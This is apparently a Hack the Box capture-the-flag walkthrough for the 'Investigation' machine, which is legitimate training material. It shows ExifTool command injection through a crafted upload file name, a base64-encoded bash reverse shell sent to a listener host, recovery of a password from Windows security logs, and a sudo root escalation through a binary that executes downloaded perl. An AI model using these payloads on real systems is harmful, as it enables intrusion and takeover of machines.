HTB • Investigation
Investigation is a medium difficulty linux machine created by Derezzed on Hack the Box that features a site using a vulnerable version of ExifTool to parse client-supplied file names. These file names can be manipulated to inject OS commands as the user www-data. This user then finds an exported Outlook email owned by the user smorton, which contains an archive of a Windows security event log. The log captures a login attempt where the user accidentally types a password into the username field, so it can be read in plain text. This happens to be the password for smorton, who can run /usr/bin/binary
as the user root via sudo. Investigating the content of this file reveals that it simply executes the content at a URL as perl code. This can be manipulated to run OS commands as root.
Reconnaissance
Let’s first set up our environment and run a TCP port scan with this custom nmap wrapper.
1
2
3
4
# bryan@attacker
rhost="" # replace with machine address
echo rhost=$rhost >> .env && . ./.env
ctfscan $rhost
The scan reports that ports 22 and 80 are open.
Web
The scan also detects the virtual hostname eforenzics.htb, which we’ll add to /etc/hosts
.
1
2
3
# bryan@attacker
echo vhost=eforenzics.htb >> .env && . ./.env
echo -e "$rhost\\t$vhost" | sudo tee -a /etc/hosts
We’ll begin by exploring http://eforenzics.htb in a browser of our choice.
The homepage mentions a free image forensics service. The service link points us to /service.html which includes a file upload form.
File Upload
upload an image file and we will provide a detailed forensic analysis. At this time we can only process jpg images.
Let’s upload a valid JPEG image as a test run.
The file is accepted and it points us to the output of an ExifTool command on our image.
The report indicates that the application is analyzing the uploaded image with ExifTool version 12.37. Let’s check if there are any vulnerabilities applicable to this version.
We visit CVE Details and find a command injection vulnerability tracked as CVE-2022-23935 listed here that is applicable to versions before 12.38.
lib/Image/ExifTool.pm in ExifTool before 12.38 mishandles a $file =~ /|$/ check, leading to command injection.
CVE-2022-23935
We find a detailed description of the vulnerability here that explains how an attacker-controlled file name will be executed as a command when it ends with a pipe character |
. Let’s try to exploit this vulnerability on the target by modifying the file name we pass in the upload form.
1
2
3
4
5
6
# bryan@attacker
lhost="10.10.14.5" # Listener host
lport="443" # Listener port
shell=$(echo -n "bash >& /dev/tcp/$lhost/$lport 0>&1" | base64 -w 0)
cp test.jpg "echo $shell|base64 -d|bash|" # Modify the image name
pwncat-cs -l $lhost $lport # Start the listener with PwnCat (`python3 -m pip install pwncat-cs`)
Once we create the exploit file, we’ll upload it the same way we did before. The HTTP response stalls and we recieve a reverse shell on our PwnCat listener.
Privilege Escalation
We’ll first look for a path forward using the latest linpeas.sh
script from PEASS-ng.
LinPEAS
First we enter a writable directory on the target and toggle PwnCat’s interactive console (CTRL+CD). Then we run the upload
command with the local path to linpeas.sh
1
2
# www-data@eforenzics.htb (PwnCat)
bash linpeas.sh | tee linpeas.log # Run linpeas and log output
The Cron jobs section of the LinPEAS output notifies us that www-data has a job that runs every five minutes.
1 2 3 4 date >> /usr/local/investigation/analysed_log && echo "Clearing folders" >> /usr/local/investigation/analysed_log && rm -r /var/www/uploads/* && rm /var/www/html/analysed_images/*
The job mentions an unusual directory at /usr/local/investigation
.
1
2
# www-data@eforenzics.htb (PwnCat)
ls -la /usr/local/investigation # List files + permissions
This directory contains an interesting file: Windows Event Logs for Analysis.msg
owned by the user smorton.
Windows Event Logs
We’ll go ahead and download /usr/local/investigation/Windows Event Logs for Analysis.msg
for further analysis.
Outlook Export
First we check the file format.
1
2
# bryan@attacker
file WindowsEventLogsForAnalysis.msg # Check file type
The file is a CDFV2 Microsoft Outlook export. A quick search for ways to convert this format to a more readable format yields references to a tool called MSGConvert.
1
2
3
# bryan@attacker
sudo apt-get install -y libemail-outlook-message-perl # Install msgconvert
msgconvert ./WindowsEventLogsForAnalysis.msg # Convert .msg to .eml
Now we have an EML file WindowsEventLogsForAnalysis.eml
, which is certainly more readable. The file contains an email from thomas.jones@eforenzics.htb to steve.morton@eforenzics.htb with the following content:
1
2
3
4
5
6
Hi Steve,
Can you look through these logs to see if our analysts have been logging on to the inspection terminal. I'm concerned that they are moving data on to production without following our data transfer procedures.
Regards.
Tom
There is also an attachment called evtx-logs.zip
that we can extract using some GNU magic.
1
2
3
4
5
6
7
# bryan@attacker
cat -n *.eml | grep attachment -A5 # The encoded file starts on line 55 ...
cat -n *.eml | tail -20 # ...and ends on line 22451
start=55
stop=22451
length=$(( $stop - $start + 1 ))
tail +$start *.eml | head -$length | tr -d \\r | base64 -d > evtx-logs.zip
Then we’ll extract the contents of the archive for analysis
1
2
3
4
# bryan@attacker
file evtx-logs.zip # Verify the format
7z l evtx-logs.zip # Check archive contents
7z x evtx-logs.zip # Extract contents
EVTX Security Log
The one file we get is a Windows security event log which often contain login and authorization events. We can dump the contents to XML using evtx_dump.py
from python-evtx.
1
2
# bryan@attacker
evtx_dump.py ./security.evtx > security.xml
Whoops!
Next we’ll follow the theme of the email and look for failed login attempts because people often enter their password as their username by accident (I know I have).
1
2
3
4
5
# bryan@attacker
fail=4625 # Event ID for a failed login attempt
grep -i -C50 "<EventID[^>]*>$fail</EventID>" security.xml |
grep -i username |
sort -u
The second of the four usernames from the failed logins looks like a password. Let’s check if this is the password for the user smorton with SSH.
1
ssh "smorton@$rhost"
The login is successful!
Sudo
Let’s see what commands smorton can run using sudo.
1
2
# smorton@eforenzics.htb (SSH)
sudo -l
1 2 User smorton may run the following commands on investigation: (root) NOPASSWD: /usr/bin/binary
It seems we can run the file /usr/bin/binary
as root with sudo. Let’s find out what this file does exactly so we can see if exploitation is possible.
Unusual Executable
Once we have the file at /usr/bin/binary
downloaded on the attacker machine, we’ll investigate the actions and purpose of the program with Ghidra
Disassembly
Looking at the disassembly in Ghidra, the program checks three conditions before running any meaningful code. The translated and cleaned source code would look something like this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include <stdio.h>
#include <stdlib.h>
#include <curl/curl.h>
int main(int argc, char **argv) {
if (argc != 3 || getuid() || strcmp(argv[2], "lDnxUysaQn")) {
puts("Exiting... ");
exit(0);
}
puts("Running... ");
FILE *file = fopen(argv[2]);
CURL *curl = curl_easy_init();
curl_easy_setopt(curl, CURLOPT_URL, argv[1]);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, file);
curl_easy_setopt(curl, 0x2d, 1);
CURLcode res = curl_easy_perform(curl);
int tmp
char *fn, *cmd;
char *buf = NULL;
if (res == 0) {
// load string "lDnxUysaQn" into fn
tmp = snprintf(buf, 0, "%s", argv[2]);
fn = malloc(tmp + 1);
snprintf(fn, tmp + 1, "%s", argv[2]);
// load string "perl ./lDnxUysaQn" into cmd
tmp = snprintf(buf, "perl ./%s", fn);
cmd = malloc(tmp + 1);
snprintf(cmd, tmp + 1, "perl ./%s", fn);
fclose(file); // Close the file handle
setuid(0); // Set UID to 0 (root)
system(cmd); // execute the content from curl as perl code
system("rm -f ./lDnxUysaQn"); // deletes the output file
}
}
The program will continue if there are three parameters passed through the command line, the user is root, and the third argument is “lDnxUysaQn”. The program then uses libcurl to download the url passed as the second argument to the file ./lDnxUysaQn
, executes perl ./lDnxUysaQn
, then deletes ./lDnxUysaQn
.
Exploitation
The actions taken by the program when executed with sudo, allow us to spawn a root shell using a URL that returns perl code with the exec
function.
1
2
3
4
# smorton@eforenzics.htb via SSH
f=$(mktemp) # this file will be executed as perl code
echo 'exec("bash -i -p");' > $f # Just spawn an interactive shell
sudo /usr/bin/binary "file://$f" "lDnxUysaQn" # Use the file:// wrapper
This sequence of commands gets us an interactive root shell, where we can then read the final flag at /root/root.txt
.